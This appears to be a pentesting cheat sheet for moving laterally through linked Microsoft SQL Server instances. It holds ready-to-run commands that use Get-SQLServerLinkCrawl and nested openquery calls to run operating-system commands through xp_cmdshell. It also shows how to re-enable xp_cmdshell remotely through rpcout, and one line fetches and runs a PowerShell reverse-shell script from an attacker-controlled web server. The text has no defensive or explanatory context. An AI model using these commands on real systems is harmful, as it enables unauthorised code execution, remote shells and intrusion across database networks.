Get-SQLServerLinkCrawl -Instance <target-sql> -Query "exec master..xp_cmdshell 'whoami'
Get-SQLServerLinkCrawl -Instance <target-sql> -Query 'exec master..xp_cmdshell "powershell iex (New-Object Net.WebClient).DownloadString(''http://<webserver>/Invoke-PowerShellTcp.ps1'')"'
- Or manually
select * from openquery("<target-sql1>",'select * from openquery("<target-sql2>",''select * from openquery("<target-sql3>",''''select @@version as version;exec master..xp_cmdshell "powershell whoami)'''')'')')
- If xp_cmdshell is disabled, but rpcout is enabled you can then enable xp_cmdshell
EXECUTE('sp_configure "xp_cmdshell",1;reconfigure;') AT "<target-sql>"